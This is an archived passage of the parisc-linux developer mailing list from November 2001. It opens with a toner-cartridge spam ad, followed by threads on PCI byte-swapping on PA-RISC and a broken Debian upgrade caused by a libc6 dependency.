X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13018



**** VORTEX SUPPLIES ****

YOUR LASER PRINTER TONER CARTRIDGE,
COPIER AND FAX CARTRIDGE CONNECTION

SAVE UP TO 30% FROM RETAIL

ORDER BY PHONE:1-888-288-9043
ORDER BY FAX: 1-888-977-1577
E-MAIL REMOVAL LINE: 1-888-248-4930


UNIVERSITY AND/OR SCHOOL PURCHASE ORDERS WELCOME. (NO CREDIT APPROVAL REQUIRED)
ALL OTHER PURCHASE ORDER REQUESTS REQUIRE CREDIT APPROVAL.
PAY BY CHECK (C.O.D), CREDIT CARD OR PURCHASE ORDER (NET 30 DAYS).

IF YOUR ORDER IS BY CREDIT CARD PLEASE LEAVE YOUR CREDIT CARD # PLUS EXPIRATION DATE. 
IF YOUR ORDER IS BY PURCHASE ORDER LEAVE YOUR SHIPPING/BILLING ADDRESSES AND YOUR P.O. NUMBER


NOTE: WE DO NOT CARRY 

1) XEROX, BROTHER, PANASONIC, FUJITSU PRODUCTS
2) HP DESKJETJET/INK JET OR BUBBLE JET CARTRIDGES 
3) CANON BUBBLE JET CARTRIDGES 
4) ANY OFFBRANDS BESIDES THE ONES LISTED BELOW.    

OUR NEW , LASER PRINTER TONER CARTRIDGE, PRICES ARE  AS FOLLOWS: 
(PLEASE ORDER BY PAGE NUMBER AND/OR ITEM NUMBER)

HEWLETT PACKARD: (ON PAGE 2)

ITEM #1  LASERJET SERIES  4L,4P (74A)------------------------$44
ITEM #2  LASERJET SERIES  1100 (92A)-------------------------$44
ITEM #3  LASERJET SERIES  2 (95A)----------------------------$39
ITEM #4  LASERJET SERIES  2P (75A)---------------------------$54 
ITEM #5  LASERJET SERIES  5P,6P,5MP, 6MP (3903A)----------  -$44
ITEM #6  LASERJET SERIES  5SI, 8000 (09A)--------------------$95
ITEM #7  LASERJET SERIES  2100, 2200 (96A)-------------------$74
ITEM #8  LASERJET SERIES  8100 (82X)-------------------------$115
ITEM #9  LASERJET SERIES  5L/6L (3906A)----------------------$39
ITEM #10 LASERJET SERIES  4V---------------------------------$95
ITEM #11 LASERJET SERIES 4000 (27X)--------------------------$79
ITEM #12 LASERJET SERIES 3SI/4SI (91A)-----------------------$54
ITEM #13 LASERJET SERIES 4, 4M, 5,5M-------------------------$49
ITEM #13A LASERJET SERIES 5000 (29X)-------------------------$125
ITEM #13B LASERJET SERIES 1200-------------------------------$59
ITEM #13C LASERJET SERIES 4100-------------------------------$99
ITEM #18   LASERJET SERIES 3100------------------------------$39
ITEM #19 LASERJET SERIES 4500 BLACK--------------------------$79
ITEM #20 LASERJET SERIES 4500 COLORS ------------------------$125

HEWLETT PACKARD FAX (ON PAGE 2)

ITEM #14 LASERFAX 500, 700 (FX1)----------$49
ITEM #15  LASERFAX 5000,7000 (FX2)--------$64
ITEM #16  LASERFAX (FX3)------------------$59
ITEM #17  LASERFAX (FX4)------------------$54


LEXMARK/IBM (ON PAGE 3)

OPTRA 4019, 4029 HIGH YIELD---------------$89
OPTRA R, 4039, 4049 HIGH YIELD-----------$105
OPTRA E310.312 HIGH YIELD----------------$79

OPTRA E-----------------------------------$59
OPTRA N----------------------------------$115
OPTRA S----------------------------------$165
OPTRA T----------------------------------$195
OPTRA E310/312---------------------------$79


EPSON (ON PAGE 4)

ACTION LASER 7000,7500,8000,9000----------$105
ACTION LASER 1000,1500--------------------$105


CANON PRINTERS (ON PAGE 5)

PLEASE CALL FOR MODELS AND UPDATED PRICES
FOR CANON PRINTER CARTRIDGES

PANASONIC (0N PAGE 7)

NEC SERIES 2 MODELS 90 AND 95----------$105

APPLE (0N PAGE 8)

LASER WRITER PRO 600 or 16/600------------------$49 
LASER WRITER SELECT 300,320,360-----------------$74
LASER WRITER 300 AND 320------------------------$54
LASER WRITER NT, 2NT----------------------------$54
LASER WRITER 12/640-----------------------------$79

CANON FAX (ON PAGE 9)

LASERCLASS 4000 (FX3)---------------------------$59
LASERCLASS 5000,6000,7000 (FX2)-----------------$54
LASERFAX 5000,7000 (FX2)------------------------$54
LASERFAX 8500,9000 (FX4)------------------------$54

CANON COPIERS (PAGE 10)

PC 3, 6RE, 7 AND 11 (A30)---------------------$69
PC 300,320,700,720,760,900,910,920(E-40)------$89


90 DAY UNLIMITED WARRANTY INCLUDED ON ALL PRODUCTS.

ALL TRADEMARKS AND BRAND NAMES LISTED ABOVE ARE PROPERTY OF THE 
RESPECTIVE HOLDERS AND USED FOR DESCRIPTIVE PURPOSES ONLY.










From - Thu Nov 08 21:20:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] to swap or not to swap
Date: Tue, 13 Nov 2001 14:25:45 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20011113142545.E11817@parcelfarce.linux.theplanet.co.uk>
References: <20011113003057.H391@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620744 29837 80.91.229.3 (22 Nov 2014 01:45:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:44 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 13 07:25:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B7F0482C
	for <parisc-linux@parisc-linux.org>; Tue, 13 Nov 2001 07:25:52 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 163eVV-0001vX-00; Tue, 13 Nov 2001 14:25:45 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011113003057.H391@tausq.org>; from randolph@tausq.org on Tue, Nov 13, 2001 at 12:30:57AM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13019

On Tue, Nov 13, 2001 at 12:30:57AM -0800, Randolph Chung wrote:
> Can someone please explain this to me?
> 
> It looks like some BE architectures define {read,write}[wl] to do LE swapping 
> (sparc, mipsel, ppc, etc) but others don't (s390, parisc). What is the 
> "correct" behavior?
> 
> The inX/outX interfaces are all internal-swapped to LE.

depends on the PCI bridge and MMU whether you need to do bytesexswapping
in software or not.  see section 9 in the Dino ERS, page 61 for how PA
does this.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Deb's broken ?
Date: Tue, 13 Nov 2001 18:13:52 +0000
Lines: 38
Approved: news@gmane.org
Message-ID: <20011113181352.B382@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620744 29839 80.91.229.3 (22 Nov 2014 01:45:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:44 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 13 11:13:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0C4A482C
	for <parisc-linux@parisc-linux.org>; Tue, 13 Nov 2001 11:13:54 -0700 (MST)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id fADIDqe00413
	for parisc-linux@parisc-linux.org; Tue, 13 Nov 2001 18:13:52 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13020

bofh:~# apt-get upgrade
Reading Package Lists... Done
Building Dependency Tree... Done
The following packages have been kept back
  binutils bsdutils cpp-3.0 g++-3.0 gcc-3.0 gzip ipchains libstdc++3
  libstdc++3-dev logrotate mount nano net-tools procps sysvinit util-linux 
0 packages upgraded, 0 newly installed, 0 to remove and 16  not upgraded.

bofh:~# apt-get install gzip
Reading Package Lists... Done
Building Dependency Tree... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.

Since you only requested a single operation it is extremely likely that
the package is simply not installable and a bug report against
that package should be filed.
The following information may help to resolve the situation:

Sorry, but the following packages have unmet dependencies:
  gzip: PreDepends: libc6 (>= 2.2.4-4) but 2.2.4-3 is to be installed
E: Sorry, broken packages

ii  libc6          2.2.4-3        GNU C Library: Shared libraries and Timezone
ii  libc6-dev      2.2.4-3        GNU C Library: Development Libraries and Hea


Something Im missing ?

-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.



From - Thu Nov 08 21:20:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Deb's broken ?
Date: Tue, 13 Nov 2001 18:28:25 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20011113182825.A20911@parcelfarce.linux.theplanet.co.uk>
References: <20011113181352.B382@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620744 29844 80.91.229.3 (22 Nov 2014 01:45:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:44 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Richard Allen <ra@hp.is>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 13 11:28:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1EAEE482C
	for <parisc-linux@parisc-linux.org>; Tue, 13 Nov 2001 11:28:39 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 163iIL-0006IT-00; Tue, 13 Nov 2001 18:28:25 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011113181352.B382@hp.is>; from ra@hp.is on Tue, Nov 13, 2001 at 06:13:52PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13021

On Tue, Nov 13, 2001 at 06:13:52PM +0000, Richard Allen wrote:
> bofh:~# apt-get upgrade
[..]
> Something Im missing ?

the email that said `do not apt-get upgrade because it will break your
system'?

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Deb's broken ?
Date: Tue, 13 Nov 2001 19:33:30 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20011113193330.D12388@lug-owl.de>
References: <20011113181352.B382@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620745 29849 80.91.229.3 (22 Nov 2014 01:45:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:45 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 13 11:33:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id EF47B482C
	for <parisc-linux@parisc-linux.org>; Tue, 13 Nov 2001 11:33:42 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 36A269F49; Tue, 13 Nov 2001 19:33:31 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20011113181352.B382@hp.is>
User-Agent: Mutt/1.3.23i
X-Operating-System: Linux mail 2.4.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13022

On Tue, 2001-11-13 18:13:52 +0000, Richard Allen <ra@hp.is>
wrote in message <20011113181352.B382@hp.is>:
> bofh:~# apt-get upgrade
[...]

> Sorry, but the following packages have unmet dependencies:
>   gzip: PreDepends: libc6 (>= 2.2.4-4) but 2.2.4-3 is to be installed
> E: Sorry, broken packages
> 
> ii  libc6          2.2.4-3        GNU C Library: Shared libraries and Timezone
> ii  libc6-dev      2.2.4-3        GNU C Library: Development Libraries and Hea

I've tried to natively build 2.2.4-4 on a 712/60 with gcc-3.0. It
breaks in ./glibc-2.2.4/sysdeps/hppa/dl-machine.h at line 534:

    533       /* .eh_frame can have unaligned relocs.  */
--> 534       if (reloc_addr & 3)
    535         {
    536           char *rel_addr = (char *) reloc_addr;
    537           rel_addr[0] = value >> 24;
    538           rel_addr[1] = value >> 16;
    539           rel_addr[2] = value >> 8;
    540           rel_addr[3] = value;
    541           return;
    542         }
    543       break;
    544 

I didn't see why I may not check the two low bits... I gave up:-(

MfG, JBG

-- 
Jan-Benedict Glaw   .   jbglaw@lug-owl.de   .   +49-172-7608481
	http://lug-owl.de/~jbglaw/software/snapshot2cvs/



From - Thu Nov 08 21:20:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] to swap or not to swap
Date: Tue, 13 Nov 2001 11:42:48 -0800
Lines: 29
Approved: news@gmane.org
Message-ID: <20011113114247.G3053@tausq.org>
References: <20011113003057.H391@tausq.org> <20011113142545.E11817@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620745 29852 80.91.229.3 (22 Nov 2014 01:45:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:45 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 13 12:43:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id E94EE482C
	for <parisc-linux@parisc-linux.org>; Tue, 13 Nov 2001 12:43:03 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id ybxwiaaa for parisc-linux@parisc-linux.org; Tue, 13 Nov 2001 12:38:05 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 163jSK-0006yE-00; Tue, 13 Nov 2001 11:42:48 -0800
Content-Disposition: inline
In-Reply-To: <20011113142545.E11817@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13023

> depends on the PCI bridge and MMU whether you need to do bytesexswapping
> in software or not.  see section 9 in the Dino ERS, page 61 for how PA
> does this.

Empirically I've found this not to be the case. For example, if i need
to write 0x01 to byte 0 of a 16-bit PCI register, I've found I need to
do:

writew(0x0100, addr) on parisc
vs
writew(0x0001, addr) on x86

Grant also seems to be of the opinion that cpu data needs to be swapped
before written to PCI devices... so does that mean that if i wrote
something like:

writew(cpu_to_le16(foo), addr)

then on things like parisc it gets swapped once, and on things like
sparc it gets swapped twice?

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:20:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] to swap or not to swap
Date: Tue, 13 Nov 2001 13:32:08 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <200111132032.NAA01102@puffin.external.hp.com>
References: <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620745 29855 80.91.229.3 (22 Nov 2014 01:45:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:45 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 13 13:36:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id E3700482C
	for <parisc-linux@parisc-linux.org>; Tue, 13 Nov 2001 13:36:52 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA01102;
	Tue, 13 Nov 2001 13:32:08 -0700
In-Reply-To: Message from Randolph Chung <randolph@tausq.org> 
   of "Tue, 13 Nov 2001 11:42:48 PST." <20011113114247.G3053@tausq.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13024

Randolph Chung wrote:
> Grant also seems to be of the opinion that cpu data needs to be swapped
> before written to PCI devices... so does that mean that if i wrote
> something like:
> 
> writew(cpu_to_le16(foo), addr)
> 
> then on things like parisc it gets swapped once, and on things like
> sparc it gets swapped twice?

maybe that's a bug in how sparc code works?

For parisc, the above is correct for (nearly) all PCI devices.
(I hedge since odd PCI devices might want cpu_to_be16() instead).

And don't forget that control data read by the PCI device via DMA
has to be "endian corrected" too.

PA HW implements what I've heard called "address invariance".
IIRC, m700-10 (r4000 mips, Olivetti) does the same thing.
I think Dino Documentation calls this "byte is byte".
Ie byte stream offsets are the same regardless of how they
are address by either DMA or PIO from either CPU or PCI device.

The result is multi-byte data (ie short/int) has to be swapped
when read/written by the PArisc CPU and the addresses don't change.

HTH,
grant



From - Thu Nov 08 21:20:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Deb's broken ?
Date: Tue, 13 Nov 2001 21:15:17 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20011113211517.C382@hp.is>
References: <20011113181352.B382@hp.is> <20011113182825.A20911@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620746 29859 80.91.229.3 (22 Nov 2014 01:45:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:46 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 13 14:15:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5E0BF482C
	for <parisc-linux@parisc-linux.org>; Tue, 13 Nov 2001 14:15:25 -0700 (MST)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id fADLFHA00975;
	Tue, 13 Nov 2001 21:15:17 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011113182825.A20911@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Tue, Nov 13, 2001 at 06:28:25PM +0000
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13025

On Tue, Nov 13, 2001 at 06:28:25PM +0000, Matthew Wilcox wrote:
> On Tue, Nov 13, 2001 at 06:13:52PM +0000, Richard Allen wrote:
> > bofh:~# apt-get upgrade
> [..]
> > Something Im missing ?
> 
> the email that said `do not apt-get upgrade because it will break your
> system'?

Oh :)   I thought we got past that :)

-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.



From - Thu Nov 08 21:20:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Anderson <andersop@neverland.ncssm.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] First Time Install on 712/80i
Date: Tue, 13 Nov 2001 16:18:49 -0500 (EST)
Lines: 46
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0111131610080.9967-100000@bob.ncssm.edu>
References: <20011113182825.A20911@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620746 29862 80.91.229.3 (22 Nov 2014 01:45:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:46 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 13 14:23:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from bob.ncssm.edu (bob.ncssm.edu [152.34.37.42])
	by dsl2.external.hp.com (Postfix) with SMTP id 67816482C
	for <parisc-linux@parisc-linux.org>; Tue, 13 Nov 2001 14:23:20 -0700 (MST)
Original-Received: (qmail 14077 invoked by uid 20004); 13 Nov 2001 21:18:49 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 13 Nov 2001 21:18:49 -0000
